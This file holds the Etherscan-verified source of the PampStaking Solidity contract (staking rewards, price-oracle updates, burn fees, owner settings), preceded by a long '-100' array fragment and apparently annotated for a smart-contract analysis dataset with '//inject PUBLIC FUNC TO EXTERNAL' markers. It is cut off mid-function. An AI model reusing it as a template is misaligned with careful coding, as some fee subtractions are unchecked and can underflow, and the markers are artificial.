-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2020-08-11
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
//Note that assert() is now used because the try/catch mechanism in the Pamp.sol contract does not revert on failure with require();
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a/*, "SafeMath: addition overflow"*/);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
assert(b <= a/*, errorMessage*/);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b/*, "SafeMath: multiplication overflow"*/);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
assert(b > 0/*, errorMessage*/);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
assert(b != 0/*, errorMessage*/);
return a % b;
}
}
// Contract used to calculate stakes. Unused currently.
abstract contract CalculatorInterface {
function calculateNumTokens(uint numerator, uint denominator, uint price, uint volume, uint _streak, uint256 balance, uint256 daysStaked, address stakerAddress, uint256 totalSupply) public view virtual returns (uint256);
function negativeDayCallback(int numerator, uint denominator, uint256 price, uint256 volume) public virtual;
function iterativelyCalculateOwedRewards(uint stakerLastTimestamp, uint stakerStartTimestamp, uint balance, address stakerAddress, uint totalSupply) public virtual view returns (uint256);
}
// Parent token contract, see Pamp.sol
abstract contract PampToken {
function balanceOf(address account) public view virtual returns (uint256);
function _burn(address account, uint256 amount) external virtual;
function mint(address account, uint256 amount) public virtual;
}
abstract contract PreviousContract {
function resetStakeTimeMigrateState(address addr) external virtual returns (uint256 startTimestamp, uint256 lastTimestamp);
function getWhitelist(address addr) external virtual view returns (string memory);
}
/**
* @dev Implementation of the Pamp Network: https://pamp.network
* Pamp Network (PAMP) is the world's first price-reactive cryptocurrency.
* The inflation rate of the token is wholly dependent on its market activity.
* Minting does not happen when the price is less than the day prior.
* When the price is greater than the day prior, the inflation for that day is
* a function of its price, percent increase, volume, any positive price streaks,
* and the amount of time a given holder has been holding.
* In the first iteration, the dev team acts as the price oracle, but in the future, we plan to integrate a Chainlink price oracle.
* This contract is the staking contract for the project and is upgradeable by the owner.
* This is the staking contract V2, deployed at 0x2ceff2fc3257b9e66d69de3081483563a9d522dd
*/
contract PampStaking {
using SafeMath for uint256;
address public owner;
// A 'staker' is an individual who holds the minimum staking amount in his address.
struct staker {
uint startTimestamp; // When the staking started in unix time (block.timesamp)
uint lastTimestamp; // When the last staking reward was claimed in unix time (block.timestamp)
bool hasMigrated; // Has the staker migrated from the previous contract?
}
struct update { // Price updateState
uint timestamp; // Last update timestamp, unix time
uint numerator; // Numerator of percent change (1% increase = 1/100)
uint denominator; // Denominator of percent change
uint price; // In USD. 0001 is $0.001, 1000 is $1.000, 1001 is $1.001, etc
uint volume; // In whole USD (100 = $100)
uint streak; // We save the current streak to use later
}
PampToken public token; // ERC20 token contract that uses this upgradeable contract for staking and burning
modifier onlyToken() {
assert(msg.sender == address(token)/*, "Caller must be PAMP token contract."*/);
_;
}
modifier onlyNextStakingContract() { // Caller must be the next staking contract
assert(msg.sender == nextStakingContract);
_;
}
modifier onlyOracle() {
assert(msg.sender == oracle);
_;
}
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
mapping (address => staker) public stakers; // Mapping of all individuals staking/holding tokens greater than minStake
mapping (address => string) public whitelist; // Mapping of all addresses that do not burn tokens on receive and send (generally other smart contracts). Mapping of address to reason (string)
mapping (address => uint256) public blacklist; // Mapping of all addresses that receive a specific token burn when receiving. Mapping of address to percent burn (uint256)
mapping (address => string) public uniwhitelist; // Mapping of all addresses that do not burn tokens when sending to or selling on Uniswap. Mapping of address to reason (string)
bool public enableBurns; // Enable burning on transfer or fee on transfer
bool public priceTarget1Hit; // Price targets, defined in updateState()
bool public priceTarget2Hit;
address public uniswapV2Pair; // Uniswap pair address, done for fees on Uniswap sells
uint public uniswapSellerBurnPercent; // Uniswap sells pay a fee. Should be based on negative streaks
uint public transferBurnPercent;
bool public enableUniswapDirectBurns; // Enable seller fees on Uniswap
uint256 public minStake; // Minimum amount to stake
uint8 public minStakeDurationDays; // Minimum amount of time to claim staking rewards
uint8 public minPercentIncrease; // Minimum percent increase to enable rewards for the day. 10 = 1.0%, 100 = 10.0%
uint256 public inflationAdjustmentFactor; // Factor to adjust the amount of rewards (inflation) to be given out in a single day
uint256 public streak; // Number of days in a row that the price has increased
uint public maxStreak; // Max number of days in a row we consider streak bonuses
uint public negativeStreak; // Number of days in a row that the price has decreased
update public lastUpdate; // latest price update
uint public lastNegativeUpdate; // last time the price was negative (unix timestamp)
CalculatorInterface public externalCalculator; // external calculator to calculate the number of tokens given several variables (defined above). Currently unused
address public nextStakingContract; // Next staking contract deployed. Used for migrating staker state.
bool public useExternalCalc; // self-explanatory
bool public useExternalCalcIterative;
bool public freeze; // freeze all transfers in an emergency
bool public enableHoldersDay; // once a month, holders receive a nice bump. This is true for 24 hours, once a month only.
mapping (bytes32 => bool) public holdersDayRewarded; // Mapping to test whether an individual received his Holder's Day reward
event StakerRemoved(address StakerAddress); // Staker was removed due to balance dropping below minStake
event StakerAdded(address StakerAddress); // Staker was added due to balance increasing abolve minStake
event StakesUpdated(uint Amount); // Staking rewards were claimed
event HoldersDayEnabled();
event HoldersDayRewarded(uint Amount);
event Migration(address StakerAddress);
event MassiveCelebration(); // Happens when price targets are hit
event Transfer(address indexed from, address indexed to, uint256 value); // self-explanatory
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
uint public maxStakingDays;
uint public holdersDayRewardDenominator;
update[] public updates;
address public liquidityStakingContract;
address public oracle;
PreviousContract public previousStakingContract;
uint public numStakers;
bool public increaseTransferFees;
bool public checkPreviousStakingContractWhitelist;
constructor () public {
owner = msg.sender;
token = PampToken(0xF0FAC7104aAC544e4a7CE1A55ADF2B5a25c65bD1);
minStake = 200E18;
inflationAdjustmentFactor = 800;
streak = 0;
minStakeDurationDays = 1;
useExternalCalc = false;
useExternalCalcIterative = false;
uniswapSellerBurnPercent = 8;
enableBurns = true;
freeze = false;
minPercentIncrease = 10; // 1.0% min increase
enableUniswapDirectBurns = true;
transferBurnPercent = 8;
priceTarget1Hit = true;
oracle = msg.sender;
maxStreak = 7;
holdersDayRewardDenominator = 600;
maxStakingDays = 100;
increaseTransferFees = false;
checkPreviousStakingContractWhitelist = true;
previousStakingContract = PreviousContract(0x1d2121Efe25535850d1FDB65F930FeAB093416E0);
uniswapV2Pair = 0x1C608235E6A946403F2a048a38550BefE41e1B85;
liquidityStakingContract = 0x5CECDbdfB96463045b07d07aAa4fc2F1316F7e47;
}
// The owner (or price oracle) will call this function to update the price on days the coin is positive. On negative days, no update is made.
function updateState(uint numerator, uint denominator, uint256 price, uint256 volume) public onlyOracle { // when Chainlink is integrated a separate contract will call this function (oracle address will be changed as well) //inject PUBLIC FUNC TO EXTERNAL
require(numerator > 0 && denominator > 0 && price > 0 && volume > 0, "Parameters cannot be negative or zero");
if ((numerator < 2 && denominator == 100) || (numerator < 20 && denominator == 1000)) {
require(mulDiv(1000, numerator, denominator) >= minPercentIncrease, "Increase must be at least minPercentIncrease to count");
}
uint secondsSinceLastUpdate = (block.timestamp - lastUpdate.timestamp); // We calculate time since last price update in days.
if (secondsSinceLastUpdate < 129600) { // We should only update once per day, but block timestamps can vary
streak++;
} else {
streak = 1;
}
if (streak > maxStreak) {
streak = maxStreak;
}
if (price >= 1000 && priceTarget1Hit == false) { // 1000 = $1.00
priceTarget1Hit = true;
streak = 50;
emit MassiveCelebration();
} else if (price >= 10000 && priceTarget2Hit == false) { // It is written, so it shall be done
priceTarget2Hit = true;
streak = maxStreak;
minStake = 100E18; // Need $1000 to stake
emit MassiveCelebration();
}
if(negativeStreak > 0) {
uniswapSellerBurnPercent = uniswapSellerBurnPercent - (negativeStreak * 2);
if(increaseTransferFees) {
transferBurnPercent = transferBurnPercent - (negativeStreak * 2);
}
negativeStreak = 0;
}
lastUpdate = update(block.timestamp, numerator, denominator, price, volume, streak);
updates.push(lastUpdate);
}
// We now update the smart contract on negative days. Currently this is only used to increase the Uniswap burn percent, but we may perform other functionality in the future.
function updateStateNegative(int numerator, uint denominator, uint256 price, uint256 volume) public onlyOracle { //inject PUBLIC FUNC TO EXTERNAL
require(numerator < minPercentIncrease);
uint secondsSinceLastUpdate = (block.timestamp - lastNegativeUpdate); // We calculate time since last negative price update in days.
if (secondsSinceLastUpdate < 129600) { // We should only update once per day, but block timestamps can vary
negativeStreak++;
} else {
negativeStreak = 0;
}
streak = 1;
uniswapSellerBurnPercent = uniswapSellerBurnPercent + (negativeStreak * 2); // Negative day streaks increase burn fees
if(increaseTransferFees) {
transferBurnPercent = transferBurnPercent + (negativeStreak * 2); // May have to contact exchanges about this
}
lastNegativeUpdate = block.timestamp;
if(useExternalCalc) {
externalCalculator.negativeDayCallback(numerator, denominator, price, volume);
}
}
// This is used by the next staking contract to migrate staker state
function resetStakeTimeMigrateState(address addr) public onlyNextStakingContract returns (uint256 startTimestamp, uint256 lastTimestamp) { //inject PUBLIC FUNC TO EXTERNAL
startTimestamp = stakers[addr].startTimestamp;
lastTimestamp = stakers[addr].lastTimestamp;
stakers[addr].lastTimestamp = block.timestamp;
stakers[addr].startTimestamp = block.timestamp;
}
function migratePreviousState() public { // Migrate state to new contract and reset state from old contract. Also reset current state to block.timestamp if it is zero otherwise //inject PUBLIC FUNC TO EXTERNAL
require(stakers[msg.sender].lastTimestamp == 0, "Last timestamp must be zero");
require(stakers[msg.sender].startTimestamp == 0, "Start timestamp must be zero");
require(!stakers[msg.sender].hasMigrated);
(uint startTimestamp, uint lastTimestamp) = previousStakingContract.resetStakeTimeMigrateState(msg.sender);
if(startTimestamp == 0) {
stakers[msg.sender].startTimestamp = block.timestamp;
} else {
stakers[msg.sender].startTimestamp = startTimestamp;
}
if(lastTimestamp == 0) {
stakers[msg.sender].lastTimestamp = block.timestamp;
} else {
stakers[msg.sender].lastTimestamp = lastTimestamp;
}
if(stakers[msg.sender].startTimestamp > stakers[msg.sender].lastTimestamp) {
stakers[msg.sender].lastTimestamp = block.timestamp;
}
stakers[msg.sender].hasMigrated = true;
numStakers++;
emit Migration(msg.sender);
}
function updateMyStakes(address stakerAddress, uint256 balance, uint256 totalSupply) public onlyToken returns (uint256) { // This function is called by the token contract. Holders call the function on the token contract to claim rewards. //inject PUBLIC FUNC TO EXTERNAL
assert(balance > 0);
staker memory thisStaker = stakers[stakerAddress];
assert(thisStaker.lastTimestamp > 0/*,"Error: your last timestamp cannot be zero."*/); // We use asserts now so that we fail on errors due to try/catch in token contract.
assert(thisStaker.startTimestamp > 0/*,"Error: your start timestamp cannot be zero."*/);
assert(thisStaker.hasMigrated); // If you didn't migrate or reset your state, you can't claim
assert(block.timestamp > thisStaker.lastTimestamp/*, "Error: block timestamp is not greater than your last timestamp!"*/);
assert(lastUpdate.timestamp > thisStaker.lastTimestamp/*, "Error: you can only update stakes once per day. You also cannot update stakes on the same day that you purchased them."*/);
uint daysStaked = block.timestamp.sub(thisStaker.startTimestamp) / 86400; // Calculate time staked in days
assert(daysStaked >= minStakeDurationDays/*, "You must stake for at least minStakeDurationDays to claim rewards"*/);
assert(balance >= minStake/*, "You must have a balance of at least minStake to claim rewards"*/);
assert(thisStaker.lastTimestamp >= thisStaker.startTimestamp); // last timestamp should be greater than or equal to start timestamp
uint numTokens = iterativelyCalculateOwedRewards(thisStaker.lastTimestamp, thisStaker.startTimestamp, balance, stakerAddress, totalSupply);
stakers[stakerAddress].lastTimestamp = block.timestamp; // Again, this can be gamed to some extent, but *cannot be before the last block*
emit StakesUpdated(numTokens);
return numTokens; // Token contract will add these tokens to the balance of stakerAddress
}
struct iterativeCalculationVariables {
uint index;
uint bound;
uint numTokens;
uint calculatedTokens;
}
// Calculate owed rewards for several days, iterating back through the updates array. This is public so that the frontend can calculate expected rewards.
function iterativelyCalculateOwedRewards(uint stakerLastTimestamp, uint stakerStartTimestamp, uint balance, address stakerAddress, uint totalSupply) public view returns (uint256) {
if(useExternalCalcIterative) {
return externalCalculator.iterativelyCalculateOwedRewards(stakerLastTimestamp, stakerStartTimestamp, balance, stakerAddress, totalSupply);
}
iterativeCalculationVariables memory vars; // Necessary to fix stack too deep error
vars.index = updates.length.sub(1); // Start from the latest update and work our way back
if(vars.index > 60) {
vars.bound = vars.index.sub(60); // We bound the loop to 60 iterations (60 positive days)
} else {
vars.bound = vars.index.add(1); // No bound on the loop because the number of elements is less than 60
}
vars.numTokens = 0;
for(bool end = false; end == false;) {
update memory nextUpdate = updates[vars.index]; // Grab the last update from the array
if(stakerLastTimestamp > nextUpdate.timestamp || stakerStartTimestamp > nextUpdate.timestamp || vars.index == vars.bound) { // If the staker's last timestamp or start timestamp is ahead of the next update, the staker is not owed the rewards from that update, and the updates array is in chronological order, so we end here, we also check for the bound
end = true;
} else {
uint estimatedDaysStaked = nextUpdate.timestamp.sub(stakerStartTimestamp) / 86400; // We estimate the staker's holding time from the point of view of this current update
vars.calculatedTokens = calculateNumTokens(nextUpdate.numerator, nextUpdate.denominator, nextUpdate.price, nextUpdate.volume, nextUpdate.streak, balance, estimatedDaysStaked, stakerAddress, totalSupply); // calculate the owed tokens from this update
vars.numTokens = vars.numTokens.add(vars.calculatedTokens);
balance = balance.add(vars.calculatedTokens); // We support compound interest
}
if (vars.index > 0) {
vars.index = vars.index.sub(1); // Only subtract when nonzero, so we don't underflow
} else {
end = true;
}
}
return vars.numTokens;
}
function calculateNumTokens(uint numerator, uint denominator, uint price, uint volume, uint _streak, uint256 balance, uint256 daysStaked, address stakerAddress, uint256 totalSupply) public view returns (uint256) { // This is public so that the Pamp frontend can calculate expected rewards without any js issues
if (useExternalCalc) {
return externalCalculator.calculateNumTokens(numerator, denominator, price, volume, _streak, balance, daysStaked, stakerAddress, totalSupply); // Use external contract, if one is enabled (disabled by default, currently unused)
}
uint256 _inflationAdjustmentFactor = inflationAdjustmentFactor;
if (_streak > 1) {
_inflationAdjustmentFactor = _inflationAdjustmentFactor.sub(mulDiv(_inflationAdjustmentFactor, _streak*10, 100)); // If there is a streak, we decrease the inflationAdjustmentFactor
}
if (daysStaked > maxStakingDays) { // If you stake for more than maxStakingDays days, you have hit the upper limit of the multiplier
daysStaked = maxStakingDays;
} else if (daysStaked == 0) { // If the minimum days staked is zero, we change the number to 1 so we don't return zero below
daysStaked = 1;
}
uint ratio = mulDiv(totalSupply, price, 1000E18).div(volume); // Ratio of market cap (including locked team tokens) to volume
if (ratio > 50) { // Too little volume. Decrease rewards. To be honest, this number was arbitrarily chosen.
_inflationAdjustmentFactor = _inflationAdjustmentFactor.mul(10);
} else if (ratio > 25) { // Still not enough. Streak doesn't count.
_inflationAdjustmentFactor = inflationAdjustmentFactor;
}
uint numTokens = mulDiv(balance, numerator * daysStaked, denominator * _inflationAdjustmentFactor); // Function that calculates how many tokens are due. See muldiv below.
uint tenPercent = mulDiv(balance, 1, 10);
if (numTokens > tenPercent) { // We don't allow a daily rewards of greater than ten percent of a holder's balance.
numTokens = tenPercent;
}
return numTokens;
}
function getDaysStaked(address _staker) public view returns(uint) { //inject PUBLIC FUNC TO EXTERNAL
return block.timestamp.sub(stakers[_staker].startTimestamp) / 86400;
}
// This function can be called once a month, when holder's day is enabled
function claimHoldersDay() public { //inject PUBLIC FUNC TO EXTERNAL
require(!getHoldersDayRewarded(msg.sender), "You've already claimed Holder's Day");
require(enableHoldersDay, "Holder's Day is not enabled");
staker memory thisStaker = stakers[msg.sender];
uint daysStaked = block.timestamp.sub(thisStaker.startTimestamp) / 86400; // Calculate time staked in days
require(daysStaked >= 30, "You must stake for 30 days to claim holder's day rewards");
if (enableHoldersDay && daysStaked >= 30) {
if (daysStaked > maxStakingDays) { // If you stake for more than maxStakingDays days, you have hit the upper limit of the multiplier
daysStaked = maxStakingDays;
}
setHoldersDayRewarded(msg.sender);
uint numTokens = mulDiv(token.balanceOf(msg.sender), daysStaked, holdersDayRewardDenominator); // Once a month, holders get a nice bump
token.mint(msg.sender, numTokens);
emit HoldersDayRewarded(numTokens);
}
}
uint32 public currentHoldersDayRewardedVersion;
function getHoldersDayRewarded(address holder) internal view returns(bool) {
bytes32 key = keccak256(abi.encodePacked(currentHoldersDayRewardedVersion, holder));
return holdersDayRewarded[key];
}
function setHoldersDayRewarded(address holder) internal {
bytes32 key = keccak256(abi.encodePacked(currentHoldersDayRewardedVersion, holder));
holdersDayRewarded[key] = true;
}
function deleteHoldersDayRewarded() internal {
currentHoldersDayRewardedVersion++;
}
function updateHoldersDay(bool _enableHoldersDay) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
enableHoldersDay = _enableHoldersDay;
if(enableHoldersDay) {
deleteHoldersDayRewarded();
emit HoldersDayEnabled();
}
}
// Self-explanatory functions to update several configuration variables
function updateTokenAddress(PampToken newToken) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
require(address(newToken) != address(0));
token = newToken;
}
function updateCalculator(CalculatorInterface calc) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
if(address(calc) == address(0)) {
externalCalculator = CalculatorInterface(address(0));
useExternalCalc = false;
} else {
externalCalculator = calc;
useExternalCalc = true;
}
}
function updateUseExternalCalcIterative(bool _useExternalCalcIterative) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
useExternalCalcIterative = _useExternalCalcIterative;
}
function updateInflationAdjustmentFactor(uint256 _inflationAdjustmentFactor) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
inflationAdjustmentFactor = _inflationAdjustmentFactor;
}
function updateStreak(bool negative, uint _streak) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
if(negative) {
negativeStreak = _streak;
} else {
streak = _streak;
}
}
function updateMinStakeDurationDays(uint8 _minStakeDurationDays) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
minStakeDurationDays = _minStakeDurationDays;
}
function updateMinStakes(uint _minStake) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
minStake = _minStake;
}
function updateMinPercentIncrease(uint8 _minIncrease) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
minPercentIncrease = _minIncrease;
}
function updateEnableBurns(bool _enabledBurns) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
enableBurns = _enabledBurns;
}
function updateWhitelist(address addr, string calldata reason, bool remove) external onlyOwner {
if (remove) {
delete whitelist[addr];
} else {
whitelist[addr] = reason;
}
}
function updateUniWhitelist(address addr, string calldata reason, bool remove) external onlyOwner {
if (remove) {
delete uniwhitelist[addr];
} else {
uniwhitelist[addr] = reason;
}
}
function updateBlacklist(address addr, uint256 fee, bool remove) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
if (remove) {
delete blacklist[addr];
} else {
blacklist[addr] = fee;
}
}
function updateUniswapPair(address addr) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
require(addr != address(0));
uniswapV2Pair = addr;
}
function updateEnableUniswapSellBurns(bool _enableDirectSellBurns) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
enableUniswapDirectBurns = _enableDirectSellBurns;
}
function updateUniswapSellBurnPercent(uint8 _sellerBurnPercent) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
uniswapSellerBurnPercent = _sellerBurnPercent;
}
function updateFreeze(bool _enableFreeze) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
freeze = _enableFreeze;
}
function updateNextStakingContract(address nextContract) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
nextStakingContract = nextContract;
}
function updateLiquidityStakingContract(address _liquidityStakingContract) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
liquidityStakingContract = _liquidityStakingContract;
}
function updateOracle(address _oracle) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
oracle = _oracle;
}
function updatePreviousStakingContract(PreviousContract previousContract) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
previousStakingContract = previousContract;
}
function updateTransferBurnFee(uint _transferBurnFee) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
transferBurnPercent = _transferBurnFee;
}
function updateMaxStreak(uint _maxStreak) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
maxStreak = _maxStreak;
}
function updateMaxStakingDays(uint _maxStakingDays) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
maxStakingDays = _maxStakingDays;
}
function updateHoldersDayRewardDenominator(uint _holdersDayRewardDenominator) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
holdersDayRewardDenominator = _holdersDayRewardDenominator;
}
function updateIncreaseTransferFees(bool _increaseTransferFees) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
increaseTransferFees = _increaseTransferFees;
}
function updateCheckPreviousContractWhitelist(bool _checkPreviousStakingContractWhitelist) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
checkPreviousStakingContractWhitelist = _checkPreviousStakingContractWhitelist;
}
function transferOwnership(address newOwner) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
assert(newOwner != address(0)/*, "Ownable: new owner is the zero address"*/);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function getStaker(address _staker) public view returns (uint256, uint256, bool) { //inject PUBLIC FUNC TO EXTERNAL
return (stakers[_staker].startTimestamp, stakers[_staker].lastTimestamp, stakers[_staker].hasMigrated);
}
function removeLatestUpdate() public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
delete updates[updates.length - 1];
}
// This function was not written by us. It was taken from here: https://medium.com/coinmonks/math-in-solidity-part-3-percents-and-proportions-4db014e080b1
// We believe it works but do not have the understanding of math required to verify it 100%.
// Takes in three numbers and calculates x * (y/z)
// This is very useful for this contract as percentages are used constantly
function mulDiv (uint x, uint y, uint z) public pure returns (uint) {
(uint l, uint h) = fullMul (x, y);
assert (h < z);
